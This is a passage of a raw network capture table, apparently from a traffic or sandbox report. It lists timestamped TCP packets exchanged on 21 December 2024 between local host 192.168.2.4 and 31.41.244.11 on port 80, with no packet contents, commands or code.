Dec 21, 2024 18:16:46.749411106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.750183105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.750444889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.750566006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.750611067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.751596928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.751662016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.751703024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.751818895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.752830982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.752922058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.753005028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.753297091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.754014969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.754087925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.754129887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.754180908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.755208969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.755259037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.755295992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.755352974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.756418943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.756563902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.756572962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.756813049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.757766962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.757828951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.757891893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.757937908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.758893013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.758949995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.759223938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.759319067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.760037899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.760092974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.760165930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.760257006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.761269093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.761404037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.761418104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.761451006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.762471914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.762587070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.762649059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.763606071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.763767004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.763822079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.765182018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.765232086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.765377045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.765423059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.766112089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.766161919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.766201973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.766403913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.767216921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.767263889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.767343044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.767410040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.768470049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.768522978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.768577099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.768625975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.769588947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.769639015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.769722939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.769781113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.770807981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.770855904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.770920992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.770963907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.772002935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.772073984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.772105932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.772176981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.773209095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.773264885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.773308039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.773464918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.774455070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.774512053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.774590969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.774660110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.775571108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.775635004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.775707006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.775764942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.776777029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.776830912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.776886940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.776956081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.777982950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.778048038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.778095961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.778242111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.779159069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.779211044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.779284000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.779525995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.780389071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.780448914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.780503035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.780555964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.781609058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.781716108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.781718969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.781807899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.782733917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.782813072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.782879114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.782931089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.784284115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.784359932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.784457922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.784645081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.786019087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.786076069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.786086082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.786214113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.787096024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.787168026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.916654110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.916707993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.916744947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.916824102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.917285919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.917325974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.917359114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.917387962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.918441057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.918478012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.918505907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.918540955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.919531107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.919701099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.919754982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.919755936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.920655012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.920773983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.920943022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.921010971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.921848059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.922020912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.922058105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.922151089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.922524929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.922637939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.922751904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.922751904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.923705101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.923854113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.923894882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.924019098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.924933910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.925014019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.925148010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.925205946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.926095009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.926156044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.926225901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.926282883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.927310944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.927423000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.927474022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.927474022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.928519964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.928582907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.928623915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.929712057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.929766893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.929837942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.930867910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.930922031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.931024075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.931076050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.932065010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.932184935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.932243109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.933257103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.933386087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.933401108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.933434010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.936925888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937016964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.937072992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937091112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937108994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937216043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937232971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.937340975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.937340975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.937340975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.938679934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.938735008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.938827038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.938877106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.939913034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.939929962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.939961910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.939995050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.940969944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.941090107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.941135883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.941216946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.942240953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.942404032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.942454100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.943455935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.943474054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.943506002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.943536043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.944519043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.944562912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.944809914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.944855928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.945919037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.945936918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.945986986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.946929932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.946979046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.947096109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.947140932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.948271990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.948296070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.948333025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.948364973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.949498892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.949517012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.949569941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.949569941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.950706005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.950752020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.950846910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.950898886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.951813936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.951865911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.952101946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.952178001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.953010082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.953027010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.953052998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.953068972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.954169035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.954215050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.954317093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.954355955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.955400944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.955440044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.955569029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.955622911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.956507921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.956549883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.956644058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.956783056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.957917929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.957936049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.957959890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.957983017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.958975077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.959017038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.959115982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.960165977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.960212946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.960302114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.961357117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.961483002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.961499929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.961529970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.961551905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.962703943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.962722063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.962753057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.962773085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.963763952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.963824034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.963927031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.964838982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.964884996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.964991093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.965481997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.966159105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.966322899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.966373920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.967422009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.967567921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.967614889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.968524933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.968605042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.968683004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.969490051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.969913960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.969949007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.969961882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.969994068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.970912933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.970953941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.971096992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.971142054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.972182035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.972218037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.972228050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.972259045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.973355055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.973403931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.973423958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.973763943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.973968983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.974015951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.974092007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.974138021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.976851940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.977015972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.977051020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.977178097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.977732897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.977767944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.977826118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.978204966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.978265047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.978348970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.978400946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.979305029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.979394913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.109978914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.110021114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.110111952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.110111952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.110656977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.110814095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.110816956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.110903025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.111716986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.111736059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.111793041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.111793041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.112807035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.112860918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.112953901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.113502026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.113903999 CET	80	49866	31.41.244.11	192.168.2.4
